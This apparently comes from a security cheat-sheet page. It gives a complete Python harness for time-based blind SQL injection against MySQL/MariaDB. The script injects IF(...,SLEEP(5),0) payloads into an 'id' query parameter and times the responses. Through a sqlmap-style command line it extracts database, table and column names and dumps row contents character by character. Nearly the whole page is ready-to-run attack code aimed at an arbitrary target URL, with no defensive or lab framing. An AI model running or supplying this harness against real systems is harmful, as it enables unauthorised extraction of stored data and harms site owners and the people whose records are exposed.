Skip to content
Time-Based Blind

Time-Based Blind

MySQL time-based linear harness

Complete standalone file. Same linear dumping CLI as the boolean version, but the oracle reads response time from an IF(condition,SLEEP(DELAY),0) branch.

The example uses a query parameter sink; move the same payload string into headers, JSON, or form data as needed. The harness uses MySQL/MariaDB syntax throughout: LENGTH, SUBSTRING, ASCII, database(), information_schema, and LIMIT 1 OFFSET n.

import argparse
import string
import sys

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
DELAY = 5
THRESHOLD = 3
parser = argparse.ArgumentParser(
    description="MySQL time-based blind SQL injection dumping harness.",
    epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns-list", required=False, type=str, help="Comma-separated columns to dump.", default=None)
args = parser.parse_args()

PROXY = args.proxy
if PROXY is not None:
    PROXY = PROXY.strip()
    PROXIES = {
        "http": PROXY,
        "https": PROXY
    }
else:
    PROXIES = {}
URL = args.target.rstrip("/").strip()

def oracle(s, q):
    payload = f"' AND IF(({q}),SLEEP({DELAY}),0) -- -"
    try:
        r = s.get(url=URL, params={"id": payload}, verify=False, timeout=DELAY + 5, proxies=PROXIES)
    except Exception as e:
        print(f"\n[-] request failed: {e}")
        sys.exit(1)
    return r.elapsed.total_seconds() > THRESHOLD

def get_count(s, query, label):
    count = 0
    while True:
        print(f"\r[+] Bruteforcing {label}: {count}", end="", flush=True)
        if oracle(s, f"({query})={count}"):
            print(f"\n[+] {label}: {count}")
            return count
        count += 1

def get_length(s, expr, label):
    length = 0
    while True:
        print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
        if oracle(s, f"LENGTH(({expr}))={length}"):
            print(f"\n[+] Length of {label}: {length}")
            return length
        length += 1

def dump_value(s, expr, label):
    value = ""
    length = get_length(s, expr, label)
    for pos in range(1, length + 1):
        matched = False
        for ch in CHARSET:
            print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
            if oracle(s, f"ASCII(SUBSTRING(({expr}),{pos},1))={ord(ch)}"):
                value += ch
                matched = True
                break
        if not matched:
            print(f"\n[-] Charset exhausted at position {pos} while dumping {label}")
            sys.exit(1)
    print(f"\n[+] {label}: {value}")
    return value

def database_expr(position):
    return f"SELECT schema_name FROM information_schema.schemata ORDER BY schema_name LIMIT 1 OFFSET {position}"

def table_expr(database, position):
    return f"SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' ORDER BY table_name LIMIT 1 OFFSET {position}"

def column_expr(database, table, position):
    return f"SELECT column_name FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{table}' ORDER BY column_name LIMIT 1 OFFSET {position}"

def row_expr(table, column, position):
    return f"SELECT CAST({column} AS CHAR) FROM {table} ORDER BY {column} LIMIT 1 OFFSET {position}"

if __name__ == "__main__":
    s = requests.Session()

    if args.current_db:
        dump_value(s, "database()", "current database")

    if args.databases:
        database_count = get_count(s, "SELECT COUNT(*) FROM information_schema.schemata", "database count")
        for pos in range(0, database_count):
            dump_value(s, database_expr(pos), f"database {pos}")

    database = args.database
    if not database and (args.tables or args.columns or args.dump):
        database = dump_value(s, "database()", "current database")

    if args.tables:
        table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{database}'", "table count")
        for pos in range(0, table_count):
            dump_value(s, table_expr(database, pos), f"table {pos}")

    if args.columns:
        if not args.table:
            print("[-] --columns requires -T")
            sys.exit(1)
        column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{database}' AND table_name='{args.table}'", "column count")
        for pos in range(0, column_count):
            dump_value(s, column_expr(database, args.table, pos), f"column {pos}")

    if args.dump:
        if not args.table or not args.columns_list:
            print("[-] --dump requires -T and -C")
            sys.exit(1)
        columns = []
        for column in args.columns_list.split(","):
            columns.append(column.strip())
        row_count = get_count(s, f"SELECT COUNT(*) FROM {args.table}", "row count")
        for pos in range(0, row_count):
            for column in columns:
                dump_value(s, row_expr(args.table, column, pos), f"{args.table}.{column} row {pos}")

Find by: mysql, mariadb, time based blind sqli, sleep, if, length, substring, ascii, database, information_schema, limit offset, sqlmap style cli